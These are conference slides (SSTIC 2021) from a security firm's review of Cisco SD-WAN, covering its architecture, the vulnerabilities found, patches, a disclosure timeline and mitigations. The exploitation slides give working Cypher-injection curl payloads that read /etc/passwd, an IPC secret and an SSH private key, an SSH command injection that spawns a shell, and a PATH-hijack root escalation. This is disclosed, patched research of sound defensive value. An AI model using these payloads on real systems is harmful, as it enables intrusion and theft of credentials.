The security of SD-WAN: the Cisco case
SSTIC 2021
Julien Legras
whoami

- Julien Legras
- 7+ years at Synacktiv
- Pentest team deputy leader
- Always interested by new things to break^Wstudy
Agenda

- Introduction
- Cisco SD-WAN overview
- Security review of Cisco SD-WAN
- Patches analysis and mitigations
- Conclusion
- Pointers for further research
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Agenda

- Introduction
  - Context
  - Definitions
  - SD-WAN solutions and previous work
Context

- Customers asked Synacktiv to study SD-WAN solutions and I studied the Cisco solution twice
  - 1 week during September 2019
  - 1 week during December 2020
- Complex product not easy to assess in a short time
Definitions

- **SDN**
  - Stands for Software-Defined Network.
  - Aims to automate network configuration and monitoring through programs.

- **WAN**
  - Stands for Wide Area Network.
  - Connects remote networks across different geographic locations.
Definitions

- Software-Defined Wide Area Network = SDN applied to WAN
  - Easily interconnect networks
  - Automate the routing and configuration synchronization
  - Increase performance and availability
  - Centralize policies
SD-WAN solutions and previous studies

- **Silver Peak SD-WAN**
  - Ariel Tempelhof of Realmode Labs: authentication bypass, file delete path traversal, arbitrary SQL execution → unauthenticated remote code execution

- **Citrix SD-WAN**
  - Ariel Tempelhof of Realmode Labs: unauthenticated path traversal, shell command injection → unauthenticated remote code execution

- **Cisco SD-WAN (formerly known as Viptela)**
  - Ariel Tempelhof of Realmode Labs: multiple issues leading to remote code execution
  - Johnny Yu of Walmart Global Tech: Java deserialization in SAML login servlet

- **VMware SD-WAN**
  - Ariel Tempelhof of Realmode Labs: SQL injection, directory traversal and file inclusion → remote code execution
Cisco SD-WAN presentation
- History
- Architecture
Cisco SD-WAN

- Cisco bought the Viptela solution in 2017
  - Viptela offered a simple way to deploy its SD-WAN through AWS
  - Cisco implemented SD-WAN support for various Cisco routers → managed routers cannot be manually edited without removing them from the whole SD-WAN infrastructure
Architecture of Cisco SD-WAN

- Cisco SD-WAN solution is split in various control planes and associated components
  - vManage (management plane): user interface where administrators and operators perform various tasks:
    - Provisioning
    - Troubleshooting
    - Monitoring
  - vBond (orchestration plane): equipment enrollment
  - vSmart (control plane): synchronization of configurations
  - vEdge / cEdge (data plane): physical and virtual routers
Architecture of Cisco SD-WAN

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Physical distribution of components
Agenda

- Security review of Cisco SD-WAN
  - Risk scenarios
  - Focus on vManage and vEdge/cEdge
  - Main issues identified
  - Sensitive assets
  - Exploitation of vulnerabilities
  - Impact analysis
Risk scenarios

- vManage
  - Can a non-admin user read/edit the configuration?

- vEdge/cEdge
  - Can a managed router be altered silently?
Focus on vManage

- Web interface listening on port 8443 for administration
  - Java web application
  - Event-driven through Kafka
  - Neo4j database
- SSH on port 22 for restricted shell (and bash shell \_(ツ)_/\)
- ConfD
  - Management agent software framework for network elements developed by Tail-f Systems (Cisco company)
  - Directly communicates with other components through NETCONF
- And much more...
Focus on vEdge / cEdge

- SSH on port 22 for restricted shell
  - Manual configuration of the device
- SSH on port 830 for NETCONF
  - Automated configuration of the device
Main issues

- **Poor user-input sanitation**
  - Cypher query injections 🌟
  - Cross Site Scripting in logs
  - Command injections 🌟

- **Insufficient access control**
  - Reader roles can actually perform actions
  - Basic usergroup appears read-only but can actually edit the configuration
Sensitive assets on vManage

- **ConfD is the main target to elevate privileges**
  - Runs as root
  - IPC secret is required (/etc/confd/confd_ipc_secret)
  - This secret is readable by other components such as the web application on vManage

- **SSH private key**
  - Located in /etc/viptela/.ssh/id_dsa
  - Used for NETCONF connections on other components
  - Also readable by the web application

- **Risks**
  - Compromise the integrity of vManage, source of truth
  - Push configurations to devices without going through the vManage component
  - Exploit vulnerabilities in the NETCONF service of the devices
Cypher query injections

- How not to prevent injections

```java
public JsonArray listDevicesForAGroup(String groupId, Collection<DeviceType> allowedPersonality) {
    groupId = groupId.replace("'", "\\\'");
    ...
```

- Triggering the injection

```
$curl https://vmanage-xxxxx.viptela.net/dataservice/group/devices?groupId=test\'
```

Invalid input '': expected whitespace, '.', node labels, '[', '~=~, IN, STARTS, ENDS, CONTAINS, IS, '^', '*', '/', '%', '+', '-', '=', '<>', '!=', '<', '>', '<=', '>=', AND, XOR, OR or ')' (line 1, column 120 (offset: 119))

"MATCH (n:vmanagedbDEVICENODE)"
Cypher query injections

- Collecting data
  - The node `vmanagedbSYSTEMDEVICENODE` contains some configuration data about vManage

$ curl -kis https://vmanage-xxxxxx.viptela.net/dataservice/group/devices?groupId=/dataservice/group/devices?groupId=test\''<>"test\\")%20RETURN%20n%20UNION%20MATCH%20(n)%20WHERE%20labels(n)[0]%20%3D%20"vmanagedbSYSTEMDEVICENODE"%20RETURN%20n//%20'

HTTP/1.1 200 OK

[...]
"globalState": "normal",
"deviceConfigurationRfs": "no config \nconfig\n viptela-system:system
personality
vmanage
...
user admin\npassword $6$v3xA1mMIxxxxxxxxxxJQJxpEfU5oxXH1\n
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Cypher query injections

From injection to SSRF

- Cypher query language allows to load CSV files
- Restricted to a specific local directory by default... but disabled on Cisco vManage

```bash
$ curl https://vmanage-xxxxx.viptela.net/dataservice/group/devices?groupId=test\'<>"test\\"]" +RETURN+n+UNION+LOAD+CSV+FROM+"file:///etc/passwd" +AS+n+RETURN+n+/
```

root:x:0:0:root:/home/root:/bin/sh
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
[...]
Cypher query injections

Collecting ConfD IPC secret and NETCONF SSH key

```
$ curl https://vmanage-xxxxx.viptela.net/dataservice/group/devices?groupId=test\'<>\"test\\\"")
+RETURN+n+UNION+LOAD+CSV+FROM\"file://etc/confd/confd_ipc_secret\"+AS+n+RETURN+n+//+'

[...]
"data": [{"n": ["3708798204-3215954596-439621029-1529380576"]}]

$ curl 'https://vmanage-xxxxx.viptela.net/dataservice/group/devices?groupId=test\'<>\"test\\\"")
+RETURN+n+UNION+LOAD+CSV+FROM\"file://etc/viptela/.ssh/id_dsa\"+AS+n+RETURN+n+//+'
   | jq -r '.data[] | (.n| join("","'))'

-----BEGIN RSA PRIVATE KEY-----
MIIEoQIBAAKCAQEAL8J/BnsBG2C26kULRI2XhbMhO51JzpdNOXSPoGHPWu1Lp2r...
```
Using the ConfD IPC secret

- Requires an SSH access (OR tools write permissions)
  - Various ConfD clients exist on vManage such as confd_cli_user or ncs_cli
  - They retrieve the secret location from the environment variable CONFD_IPC_ACCESS_FILE
  - confd_cli_user is not executable with regular users, a copy used to work (but running gdb confd_cli bypasses the execution restriction)

```
vManage:~$ echo -n "3708798204-3215954596-439621029-1529380576" > /tmp/ipc_secret
vManage:~$ export CONFD_IPC_ACCESS_FILE=/tmp/ipc_secret
vManage:~$ /tmp/confd_cli_user -U 0 -G 0
Welcome to Viptela CLI
admin connected from 127.0.0.1 using console on vManage
vManage# vshell
vManage:~# id
uid=0(root) gid=0(root) groups=0(root)
```
Using the SSH private key

- Normally used by controllers on routers’ NETCONF SSH
  - NETCONF allows reading and modifying the device configuration

```bash
$ ssh -p830 -i id_dsa vmanage-admin@router1

<?xml version="1.0" encoding="UTF-8"?>
<hello xmlns="urn:ietf:params:xml:ns:netconf:base:1.0">
  <capabilities>
    <capability>urn:ietf:params:netconf:base:1.0</capability>
    <capability>urn:ietf:params:netconf:base:1.1</capability>
    <capability>urn:ietf:params:netconf:capability:candidate:1.0</capability>
    <capability>urn:ietf:params:netconf:capability:confirmed-commit:1.0</capability>
    <capability>urn:ietf:params:netconf:capability:confirmed-commit:1.1</capability>
  </capabilities>
```

...
NETCONF SSH configuration

- The NETCONF SSH service sets a *ForceCommand* option, executing `/bin/mcp_pkg_wrap`

```
bash-4.2$ cat /bin/mcp_pkg_wrap
#!/bin/bash
...
source /common
source ${SW_ROOT}/boot/rmonbifo/env_var.sh
source /usr/binos/conf/package_boot_info.sh
# Allow scp
if [[ $SSH ORIGINAL COMMAND == scp* && $2 = "*netconf-subsys.sh" ]]; then
    eval ${SSH ORIGINAL COMMAND}
    exit
fi
[...]```
NETCONF SSH command injection

- The script will call `eval` on user-controlled command IF it starts with `scp`

```bash
$ ssh -p 830 admin@router1 "scp 2> /dev/null|| /bin/bash -i"
admin@router1's password:
bash: no job control in this shell
bash-4.2$ id
uid=85(binos) gid=85(bprocs) groups=85(bprocs),4(tty)
```
Linux privilege escalation 101

- Routers’ filesystem contains a few SUID binaries

bash-4.2$ find / -xdev -perm -4000 2>/dev/null
/tmp/etc/bexecute
/tmp/sw/mount/isr4300-mono-ucmk9.16.10.2.SPA.pkg/usr/binos/bin/bexecute
/tmp/sw/mount/isr4300-mono-ucmk9.16.10.2.SPA.pkg/usr/sbin/viptela_cli

- The program *bexecute* accepts a script path as positional argument, validates the script path against an allowlist and executes it

  - /usr/binos/conf/install_show.sh can be used to read files as root

    function display_file_contents () {
      cat $filename
    }
Linux privilege escalation 101

- The cat program is not called with the full path
  - Create a malicious cat executable

bash-4.2$ echo -e '#!/bin/bash
/bin/bash -i 1>&2' > /tmp/mypath/cat
bash-4.2$ chmod +x /tmp/mypath/cat

bash-4.2$ export PATH=/tmp/mypath/:$PATH
bash-4.2$ /tmp/etc/bexecute -c "/usr/binos/conf/install_show.sh --command
display_file_contents --filename nope"
bash: no job control in this shell

bash-4.2# id
uid=0(root) gid=0(root) groups=0(root)
Impact analysis

- The compromise of these components breaks the whole SD-WAN logic where all the configuration is managed from one single source of truth
  - Rooting vManage → allows to extract and modify all configurations
  - Rooting routers → allows external attackers to access the private network by adding local firewall and routing rules
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Agenda

- Patches analysis and mitigations
  - Patches
  - Post-compromise actions
  - Timeline
  - Mitigations
Patches

- **vManage Cypher query injection: new class `APIValidationFilter` to prevent various kinds of injections**
  - BUT exceptions were added for a list of URIs → new Cypher query injections (CVE-2021-1481)
  - Attempt to prevent exploitation by looking for strings “load csv”, “vmanagedb”, etc. → can be bypassed by adding whitespaces

- **Command injection in NETCONF SSH:**
  - Connections restricted from controllers (vManage/vSmart)
  - Filter characters to detect injections
Post-compromise actions

- ConfD IPC secret
  - No official way to change it
  - BUT if the file is removed from the filesystem, a new secret is generated after reboot → requires to exploit vulnerabilities to be able to remove the file...

- SSH private key
  - Regenerated at each reboot → the new private key is transmitted to all the devices
Timeline

- vManage issues
  - 23/09/2019: Vulnerabilities details sent to psirt@cisco.com
  - 25/09/2019: Reply from Cisco
  - 30/09/2019: Agreed on 90 days before disclosure
  - 22/10/2019: Cisco asked to delay the disclosure to mid or late January 2020
  - 09/01/2020: Cisco asked for additional 90 days delay
  - 10/01/2020: Agreed for additional 60 days delay
  - 18/03/2020: Security advisories (CSCvr42496 & CSCvs09263) and SD-WAN Software version 19.2.2 released
Timeline

- IOS XE SD-WAN issues
  - 23/09/2019: Vulnerabilities details sent to psirt@cisco.com
  - 25/09/2019: Reply from Cisco
  - 30/09/2019: Agreed on 90 days before disclosure
  - 22/10/2019: Cisco asked to delay the disclosure to mid or late January 2020
  - 09/01/2020: Cisco asked for additional 90 days delay
  - 10/01/2020: Agreed for additional 60 days delay
  - 18/03/2020: Cisco postponed the fix release to April
  - 29/04/2020: Security advisory CSCvs75505 and Cisco IOS XE SD-WAN Software version 17.2.1r released
Mitigations

- Restrict access to the management services only from an specific VLAN where only administrators can connect
- Restrict access to the NETCONF SSH service only to the management VPN (vSmart/vManage)
Conclusion

- Although the SD-WAN solution appears as next-gen, it is affected by basic vulnerabilities.
- Because the Cisco solution centralizes the configurations in one place, breaking in the vManage/vSmart impacts the whole network.
- There is still work to do!
Pointers for further research

- The ZTP (Zero Touch Provisioning)
  - Device authentication against the vManage and vBond
  - Adding a rogue router
- The OMP protocol (Overlay Management Protocol)
  - Device authentication against the vSmart
  - Service vdaemon written in C listens for DTLS connections
  - VPN key sharing between edges
- ConfD analysis
  - Written in Erlang → only BEAM assembly available
Thank you for your attention!

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